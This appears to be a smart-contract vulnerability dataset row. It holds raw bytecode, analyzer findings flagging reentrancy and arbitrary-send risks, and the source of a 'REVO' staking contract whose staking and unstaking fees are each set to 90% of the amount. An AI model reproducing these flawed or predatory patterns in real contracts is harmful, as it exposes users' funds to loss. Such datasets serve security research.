63ffffffff16565b61253490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280561280084613117565b6130f2565b9050808382526020820190508285602086028201111561282457600080fd5b60005b85811015612854578161283a888261285e565b845260208401935060208301925050600181019050612827565b5050509392505050565b60008135905061286d81613755565b92915050565b60008151905061288281613755565b92915050565b600082601f83011261289957600080fd5b81356128a98482602086016127f2565b91505092915050565b6000813590506128c18161376c565b92915050565b6000815190506128d68161376c565b92915050565b6000813590506128eb81613783565b92915050565b60008151905061290081613783565b92915050565b60006020828403121561291857600080fd5b60006129268482850161285e565b91505092915050565b60006020828403121561294157600080fd5b600061294f84828501612873565b91505092915050565b6000806040838503121561296b57600080fd5b60006129798582860161285e565b925050602061298a8582860161285e565b9150509250929050565b6000806000606084860312156129a957600080fd5b60006129b78682870161285e565b93505060206129c88682870161285e565b92505060406129d9868287016128dc565b9150509250925092565b600080604083850312156129f657600080fd5b6000612a048582860161285e565b9250506020612a15858286016128dc565b9150509250929050565b600060208284031215612a3157600080fd5b600082013567ffffffffffffffff811115612a4b57600080fd5b612a5784828501612888565b91505092915050565b600060208284031215612a7257600080fd5b6000612a80848285016128b2565b91505092915050565b600060208284031215612a9b57600080fd5b6000612aa9848285016128c7565b91505092915050565b600060208284031215612ac457600080fd5b6000612ad2848285016128dc565b91505092915050565b600080600060608486031215612af057600080fd5b6000612afe868287016128f1565b9350506020612b0f868287016128f1565b9250506040612b20868287016128f1565b9150509250925092565b6000612b368383612b42565b60208301905092915050565b612b4b816132ad565b82525050565b612b5a816132ad565b82525050565b6000612b6b82613153565b612b758185613176565b9350612b8083613143565b8060005b83811015612bb1578151612b988882612b2a565b9750612ba383613169565b925050600181019050612b84565b5085935050505092915050565b612bc7816132bf565b82525050565b612bd681613302565b82525050565b6000612be78261315e565b612bf18185613187565b9350612c01818560208601613314565b612c0a8161344e565b840191505092915050565b6000612c22602383613187565b9150612c2d8261345f565b604082019050919050565b6000612c45601a83613187565b9150612c50826134ae565b602082019050919050565b6000612c68602a83613187565b9150612c73826134d7565b604082019050919050565b6000612c8b602283613187565b9150612c9682613526565b604082019050919050565b6000612cae601b83613187565b9150612cb982613575565b602082019050919050565b6000612cd1601d83613187565b9150612cdc8261359e565b602082019050919050565b6000612cf4602183613187565b9150612cff826135c7565b604082019050919050565b6000612d17602083613187565b9150612d2282613616565b602082019050919050565b6000612d3a602983613187565b9150612d458261363f565b604082019050919050565b6000612d5d602583613187565b9150612d688261368e565b604082019050919050565b6000612d80602483613187565b9150612d8b826136dd565b604082019050919050565b6000612da3601183613187565b9150612dae8261372c565b602082019050919050565b612dc2816132eb565b82525050565b612dd1816132f5565b82525050565b6000602082019050612dec6000830184612b51565b92915050565b6000604082019050612e076000830185612b51565b612e146020830184612b51565b9392505050565b6000604082019050612e306000830185612b51565b612e3d6020830184612db9565b9392505050565b600060c082019050612e596000830189612b51565b612e666020830188612db9565b612e736040830187612bcd565b612e806060830186612bcd565b612e8d6080830185612b51565b612e9a60a0830184612db9565b979650505050505050565b6000602082019050612eba6000830184612bbe565b92915050565b60006020820190508181036000830152612eda8184612bdc565b905092915050565b60006020820190508181036000830152612efb81612c15565b9050919050565b60006020820190508181036000830152612f1b81612c38565b9050919050565b60006020820190508181036000830152612f3b81612c5b565b9050919050565b60006020820190508181036000830152612f5b81612c7e565b9050919050565b60006020820190508181036000830152612f7b81612ca1565b9050919050565b60006020820190508181036000830152612f9b81612cc4565b9050919050565b60006020820190508181036000830152612fbb81612ce7565b9050919050565b60006020820190508181036000830152612fdb81612d0a565b9050919050565b60006020820190508181036000830152612ffb81612d2d565b9050919050565b6000602082019050818103600083015261301b81612d50565b9050919050565b6000602082019050818103600083015261303b81612d73565b9050919050565b6000602082019050818103600083015261305b81612d96565b9050919050565b60006020820190506130776000830184612db9565b92915050565b600060a0820190506130926000830188612db9565b61309f6020830187612bcd565b81810360408301526130b18186612b60565b90506130c06060830185612b51565b6130cd6080830184612db9565b9695505050505050565b60006020820190506130ec6000830184612dc8565b92915050565b60006130fc61310d565b90506131088282613347565b919050565b6000604051905090565b600067ffffffffffffffff8211156131325761313161341f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a3826132eb565b91506131ae836132eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e3576131e26133c1565b5b828201905092915050565b60006131f9826132eb565b9150613204836132eb565b925082613214576132136133f0565b5b828204905092915050565b600061322a826132eb565b9150613235836132eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326e5761326d6133c1565b5b828202905092915050565b6000613284826132eb565b915061328f836132eb565b9250828210156132a2576132a16133c1565b5b828203905092915050565b60006132b8826132cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330d826132eb565b9050919050565b60005b83811015613332578082015181840152602081019050613317565b83811115613341576000848401525b50505050565b6133508261344e565b810181811067ffffffffffffffff8211171561336f5761336e61341f565b5b80604052505050565b6000613383826132eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b6576133b56133c1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375e816132ad565b811461376957600080fd5b50565b613775816132bf565b811461378057600080fd5b50565b61378c816132eb565b811461379757600080fd5b5056fe484f5049554d207c20742e6d652f686f7069756d746f6b656e6f6666696369616c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9dbe1aa581a192ead87fefeb3153c88d22ea1dbf5469442531fb07680295d8064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,283 |
0x7318762339d81dd335122d273e755ac1e045b92d
|
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'REVO' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract REVOStaking is Owned {
using SafeMath for uint256;
address public REVO = 0x43D5C21BEc2d27Ea88a81F64a631d3A39fbc0977;
uint256 public totalStakes = 0;
uint256 stakingFee = 900; // 90%
uint256 unstakingFee = 900; // 90%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(REVO).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(REVO).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(REVO).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(REVO).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedREVO(address staker) external view returns(uint256 stakedREVO){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the REVO balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourREVOBalance(address user) external view returns(uint256 REVOBalance){
return IERC20(REVO).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063997664d71161008c578063ca84d59111610066578063ca84d591146102eb578063d1a2d49614610319578063f2fde38b14610363578063f34ad3f0146103a7576100ea565b8063997664d714610281578063b53d6c241461029f578063bf9befb1146102cd576100ea565b80634baf782e116100c85780634baf782e1461017d5780634df9d6ba1461018757806366b4a6c3146101df5780638da5cb5b14610237576100ea565b8063146ca531146100ef57806329652e861461010d5780632c75bcda1461014f575b600080fd5b6100f76103ff565b6040518082815260200191505060405180910390f35b6101396004803603602081101561012357600080fd5b8101908080359060200190929190505050610405565b6040518082815260200191505060405180910390f35b61017b6004803603602081101561016557600080fd5b810190808035906020019092919050505061041d565b005b610185610908565b005b6101c96004803603602081101561019d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c81565b6040518082815260200191505060405180910390f35b610221600480360360208110156101f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e78565b6040518082815260200191505060405180910390f35b61023f610ec4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610289610ee9565b6040518082815260200191505060405180910390f35b6102cb600480360360208110156102b557600080fd5b8101908080359060200190929190505050610eef565b005b6102d5611068565b6040518082815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b810190808035906020019092919050505061106e565b005b6103216114cd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a56004803603602081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f3565b005b6103e9600480360360208110156103bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115e9565b6040518082815260200191505060405180910390f35b60085481565b600a6020528060005260406000206000915090505481565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015801561046f5750600081115b6104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b6000610513600a6105056004546104f7866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90506000610520336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336105c485876119ee90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561062d57600080fd5b505af1158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b81019080805190602001909291905050506106da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b61072f83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546119ee90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550610863836002546119ee90919063ffffffff16565b6002819055506000600254111561087e5761087d82611a38565b5b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336108b384866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546005541115610c7f57600061095f336117f0565b90506109b6600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015482611b8490919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b8101908080519060200190929190505050610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611eb9602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a180600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505b565b600080610d59600754610d4b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610d3d600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b9050600754610e1f600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610e11600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b81610e2657fe5b0681019050600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548101915050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fcc57600080fd5b505af1158015610fe0573d6000803e3d6000fd5b505050506040513d6020811015610ff657600080fd5b810190808051906020019092919050505061105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611f346030913960400191505060405180910390fd5b61106581611a38565b50565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561114b57600080fd5b505af115801561115f573d6000803e3d6000fd5b505050506040513d602081101561117557600080fd5b81019080805190602001909291905050506111db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611f06602e913960400191505060405180910390fd5b60008090506000600254111561121e5761121b600a61120d6003546111ff866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90505b600060025411156112335761123281611a38565b5b600061123e336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055506112f7600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546112e984866119ee90919063ffffffff16565b611b8490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061143d61142c83856119ee90919063ffffffff16565b600254611b8490919063ffffffff16565b6002819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361147884866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561168a57600080fd5b505afa15801561169e573d6000803e3d6000fd5b505050506040513d60208110156116b457600080fd5b81019080805190602001909291905050509050919050565b6000806116e3606484611c0c90919063ffffffff16565b905060006117146002600a0a60640261170660648561172090919063ffffffff16565b6117a690919063ffffffff16565b90508092505050919050565b60008083141561173357600090506117a0565b600082840290508284828161174457fe5b041461179b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ee56021913960400191505060405180910390fd5b809150505b92915050565b60006117e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c27565b905092915050565b6000806118c86007546118ba600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118ac600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b905060075461198e600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611980600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b8161199557fe5b06600960008573ffffffffffffffffff